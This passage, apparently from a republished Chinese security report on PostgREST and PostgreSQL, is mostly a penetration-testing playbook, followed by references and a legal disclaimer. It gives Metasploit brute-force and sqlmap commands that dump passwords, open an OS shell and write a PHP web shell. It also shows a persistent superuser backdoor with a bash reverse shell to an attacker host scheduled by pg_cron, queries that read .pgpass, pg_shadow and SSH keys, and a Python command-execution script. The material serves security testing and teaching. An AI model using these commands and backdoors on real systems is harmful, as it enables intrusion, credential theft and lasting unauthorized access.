# 版本探测msf6&nbsp;>&nbsp;use auxiliary/scanner/postgres/postgres_versionmsf6 auxiliary(scanner/postgres/postgres_version)&nbsp;>&nbsp;set&nbsp;RHOSTS&nbsp;192.168.1.0/24msf6 auxiliary(scanner/postgres/postgres_version)&nbsp;>&nbsp;run# 暴力破解msf6&nbsp;>&nbsp;use auxiliary/scanner/postgres/postgres_loginmsf6 auxiliary(scanner/postgres/postgres_login)&nbsp;>&nbsp;set&nbsp;RHOSTS&nbsp;target.localmsf6 auxiliary(scanner/postgres/postgres_login)&nbsp;>&nbsp;set&nbsp;USER_FILE&nbsp;/usr/share/wordlists/msf-default-users.txtmsf6 auxiliary(scanner/postgres/postgres_login)&nbsp;>&nbsp;set&nbsp;PASS_FILE&nbsp;/usr/share/wordlists/msf-default-passwords.txtmsf6 auxiliary(scanner/postgres/postgres_login)&nbsp;>&nbsp;run

7.2 sqlmap PostgreSQL利用

# 1. 检测SQL注入sqlmap&nbsp;-u&nbsp;"http://api/postgres?table=users&id=1"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--dbms=postgresql&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--level=5&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--risk=3# 2. 枚举数据库sqlmap&nbsp;-u&nbsp;"http://api/postgres?table=users&id=1"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--dbs&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--dbms=postgresql# 3. 枚举表sqlmap&nbsp;-u&nbsp;"http://api/postgres?table=users&id=1"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;-D mydb&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--tables# 4. 枚举列sqlmap&nbsp;-u&nbsp;"http://api/postgres?table=users&id=1"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;-D mydb&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;-T users&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--columns# 5. 提取数据sqlmap&nbsp;-u&nbsp;"http://api/postgres?table=users&id=1"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;-D mydb&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;-T users&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;-C username,password&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--dump# 6. 执行OS命令(需要DBA权限)sqlmap&nbsp;-u&nbsp;"http://api/postgres?table=users&id=1"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--os-shell# 7. 读取文件sqlmap&nbsp;-u&nbsp;"http://api/postgres?table=users&id=1"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--file-read=/etc/passwd# 8. 写入文件sqlmap&nbsp;-u&nbsp;"http://api/postgres?table=users&id=1"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--file-write=/tmp/shell.php&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp;--file-dest=/var/www/html/shell.php

7.3 手动渗透测试步骤

7.3.1 信息收集阶段

# 1. 探测PostgreSQL端口nmap&nbsp;-p&nbsp;5432&nbsp;192.168.1.0/24# 2. 识别PostgreSQL版本nc&nbsp;-nv&nbsp;192.168.1.100&nbsp;5432# 尝试连接查看banner# 3. 使用pg_dump探测数据库结构pg_dump&nbsp;-h target.local -U postgres -d mydb --schema-only# 4. 枚举用户psql&nbsp;-h target.local -U postgres -c&nbsp;"\du"psql&nbsp;-h target.local -U postgres -c&nbsp;"SELECT usename FROM pg_user"# 5. 枚举数据库psql&nbsp;-h target.local -U postgres -l# 6. 枚举表psql&nbsp;-h target.local -U postgres -d mydb -c&nbsp;"\dt"# 7. 检查扩展psql&nbsp;-h target.local -U postgres -d mydb -c&nbsp;"\dx"

7.3.2 漏洞利用阶段

# 场景1:获得SQL执行权限后的命令执行# 检查COPY FROM PROGRAM权限psql&nbsp;-h target.local -U postgres -d mydb -c&nbsp;"COPY cmd_exec FROM PROGRAM 'id'"# 场景2:UDF注入# 查找已编译的UDF库locate&nbsp;*.so | grep postgres# 使用Metasploit的UDF上传msf6&nbsp;> use exploit/linux/postgres/postgres_payload# 场景3:通过PostgREST执行# 利用RPC函数curl&nbsp;-X POST&nbsp;"http://api/rpc/exec_system"&nbsp;\&nbsp; &nbsp; &nbsp;-H&nbsp;"Authorization: Bearer $TOKEN"&nbsp;\&nbsp; &nbsp; &nbsp;-H&nbsp;"Content-Type: application/json"&nbsp;\&nbsp; &nbsp; &nbsp;-d '{"cmd":&nbsp;"whoami"}'

7.3.3 持久化阶段

-- 创建后门账户CREATE&nbsp;USER&nbsp;backdoor&nbsp;WITH&nbsp;PASSWORD&nbsp;'P@ssw0rd'&nbsp;SUPERUSER;-- 创建后门函数CREATE&nbsp;OR&nbsp;REPLACE&nbsp;FUNCTION&nbsp;backdoor_func()RETURNS&nbsp;voidLANGUAGE&nbsp;plpgsqlSECURITY DEFINERAS&nbsp;$$BEGIN&nbsp; &nbsp; PERFORM pg_execute_server_program('bash',&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ARRAY['-c',&nbsp;'bash -i >& /dev/tcp/attacker/7777 0>&1']);END;$$;-- 添加到PostgREST可调用函数GRANT&nbsp;EXECUTE&nbsp;ON&nbsp;FUNCTION&nbsp;backdoor_func()&nbsp;TO&nbsp;PUBLIC;-- 创建定时任务(如果pg_cron可用)SELECT&nbsp;cron.schedule('* * * * *', $$SELECT&nbsp;backdoor_func()$$);

7.3.4 横向移动


-- 读取其他数据库配置SELECT&nbsp;*&nbsp;FROM&nbsp;pg_database;-- 尝试连接其他主机SELECT&nbsp;*&nbsp;FROM&nbsp;pg_ls_dir('/etc/postgresql/');-- 读取敏感配置SELECT&nbsp;*&nbsp;FROM&nbsp;pg_file_settings&nbsp;WHERE&nbsp;applied&nbsp;=&nbsp;false;-- 读取密码文件SELECT&nbsp;*&nbsp;FROM&nbsp;pg_read_file('/var/lib/postgresql/.pgpass',&nbsp;0,&nbsp;1000);-- 读取用户密码哈希SELECT&nbsp;usename, passwd&nbsp;FROM&nbsp;pg_shadow;-- 尝试读取SSH密钥SELECT&nbsp;*&nbsp;FROM&nbsp;pg_read_file('/var/lib/postgresql/.ssh/id_rsa');

7.4 自动化利用脚本

#!/usr/bin/env python3"""PostgreSQL安全检测与利用脚本仅用于授权的安全测试"""import&nbsp;psycopg2import&nbsp;sysimport&nbsp;base64class&nbsp;PostgresAuditor:&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, host, port, database, user, password):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.conn = psycopg2.connect(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; host=host, port=port, database=database,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; user=user, password=password&nbsp; &nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.conn.autocommit =&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.cursor =&nbsp;self.conn.cursor()
&nbsp; &nbsp;&nbsp;def&nbsp;check_privileges(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""检查当前用户权限"""&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.cursor.execute("SELECT current_user, rolsuper FROM pg_roles WHERE rolname = current_user")&nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;self.cursor.fetchone()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] 当前用户:&nbsp;{result[0]}, 超级用户:&nbsp;{result[1]}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;result[1]
&nbsp; &nbsp;&nbsp;def&nbsp;check_dangerous_functions(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""检查危险函数权限"""&nbsp; &nbsp; &nbsp; &nbsp; dangerous_funcs = [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'pg_execute_server_program',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'pg_read_file',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'pg_ls_dir',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'pg_read_server_files',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'lo_import',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'lo_export'&nbsp; &nbsp; &nbsp; &nbsp; ]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;func&nbsp;in&nbsp;dangerous_funcs:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.cursor.execute(f"SELECT has_function_privilege(current_user, '{func}(text)', 'EXECUTE')")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;self.cursor.fetchone()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;result[0]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[!] 危险函数&nbsp;{func}&nbsp;可执行!")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass
&nbsp; &nbsp;&nbsp;def&nbsp;check_copy_permission(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""检查COPY权限"""&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.cursor.execute("""&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SELECT has_database_privilege(current_database(), 'COPY')&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OR rolsuper FROM pg_roles WHERE rolname = current_user&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; """)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;self.cursor.fetchone()[0]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 数据库具有COPY权限,可能存在命令执行风险")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 检查COPY权限失败:&nbsp;{e}")
&nbsp; &nbsp;&nbsp;def&nbsp;exec_command_copy(self, cmd):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""通过COPY FROM PROGRAM执行命令"""&nbsp; &nbsp; &nbsp; &nbsp; output_table =&nbsp;"cmd_output_"&nbsp;+&nbsp;str(hash(cmd)) %&nbsp;10000&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.cursor.execute(f"""&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DROP TABLE IF EXISTS&nbsp;{output_table};&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CREATE TABLE&nbsp;{output_table}(output text);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; COPY&nbsp;{output_table}&nbsp;FROM PROGRAM '{cmd}';&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; """)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.cursor.execute(f"SELECT * FROM&nbsp;{output_table}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;self.cursor.fetchall()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;f"执行失败:&nbsp;{e}"
&nbsp; &nbsp;&nbsp;def&nbsp;exec_command_udf(self, cmd):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""通过UDF执行命令(需要准备好库)"""&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.cursor.execute(f"SELECT sys_exec('{cmd}')")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;self.cursor.fetchone()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;f"执行失败:&nbsp;{e}"
&nbsp; &nbsp;&nbsp;def&nbsp;close(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.cursor.close()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.conn.close()def&nbsp;main():&nbsp; &nbsp;&nbsp;if&nbsp;len(sys.argv) <&nbsp;6:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"用法:&nbsp;{sys.argv[0]}&nbsp;<host> <port> <database> <user> <password>")&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)
&nbsp; &nbsp; auditor = PostgresAuditor(*sys.argv[1:6])
&nbsp; &nbsp;&nbsp;print("[*] 开始PostgreSQL安全审计")&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;50)
&nbsp; &nbsp;&nbsp;# 权限检查&nbsp; &nbsp; is_super = auditor.check_privileges()
&nbsp; &nbsp;&nbsp;# 危险函数检查&nbsp; &nbsp;&nbsp;print("\n[*] 检查危险函数权限...")&nbsp; &nbsp; auditor.check_dangerous_functions()
&nbsp; &nbsp;&nbsp;# COPY权限检查&nbsp; &nbsp;&nbsp;print("\n[*] 检查COPY权限...")&nbsp; &nbsp; auditor.check_copy_permission()
&nbsp; &nbsp;&nbsp;# 如果是超级用户,执行命令测试&nbsp; &nbsp;&nbsp;if&nbsp;is_super:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[!] 检测到超级用户权限,开始命令执行测试...")&nbsp; &nbsp; &nbsp; &nbsp; result = auditor.exec_command_copy("whoami")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] 命令输出:&nbsp;{result}")
&nbsp; &nbsp; auditor.close()&nbsp; &nbsp;&nbsp;print("\n[*] 审计完成")if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

8. 参考文献

官方文档

  • PostgREST Documentation: https://postgrest.org/
  • PostgreSQL Security Documentation: https://www.postgresql.org/docs/current/security.html

安全研究

  • OWASP API Security Top 10
  • CWE-89: SQL Injection
  • CWE-287: Improper Authentication
  • CWE-862: Missing Authorization

PostgreSQL安全

  • PostgreSQL Row-Level Security: https://www.postgresql.org/docs/current/ddl-rowsecurity.html
  • PostgreSQL Privilege System: https://www.postgresql.org/docs/current/user-manag.html
  • PostgreSQL COPY命令文档: https://www.postgresql.org/docs/current/sql-copy.html
  • PostgreSQL 大对象接口: https://www.postgresql.org/docs/current/largeobjects.html

相关CVE与漏洞报告

  • CVE-2019-9193: PostgreSQL COPY TO PROGRAM – https://nvd.nist.gov/vuln/detail/CVE-2019-9193
  • CVE-2020-25696: PostgreSQL psql SQL Injection – https://nvd.nist.gov/vuln/detail/CVE-2020-25696
  • CVE-2023-39417: PostgreSQL Extension Script SQL Injection – https://nvd.nist.gov/vuln/detail/CVE-2023-39417
  • CVE-2024-10979: PostgreSQL Code Injection – https://nvd.nist.gov/vuln/detail/CVE-2024-10979
  • CVE-2025-1094: libpq Escape API SQL Injection – https://nvd.nist.gov/vuln/detail/CVE-2025-1094
  • CVE-2025-8714: pg_dump Untrusted Data Injection – https://nvd.nist.gov/vuln/detail/CVE-2025-8714
  • CVE-2025-8715: pg_dump Newline Injection – https://nvd.nist.gov/vuln/detail/CVE-2025-8715

安全工具

  • Metasploit Framework: https://www.metasploit.com/
  • sqlmap: https://sqlmap.org/
  • Nmap PostgreSQL Scripts: https://nmap.org/

参考链接

  • Attack Detection Fundamentals – Postgres: https://research.splunk.com/endpoint/postgres/
  • PostgreSQL Privilege Escalation: https://medium.com/greenwolf-security/postgresql-privilege-escalation-abuse-of-extensions
  • pg_largeobject Injection: https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection/large-object-injection

报告结束


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网空安全手札 Rainb0w Rainb0w《PostgREST 安全分析报告》

PostgREST安全分析报告 网络安全文章

PostgREST安全分析报告

文章总结: 本报告对PostgRESTv11进行安全分析,揭示JWT绕过、权限提升、行级安全策略绕过等关键风险,并提供配置加固与防护建议。 综合评分: 87 文
评论:0   参与:  0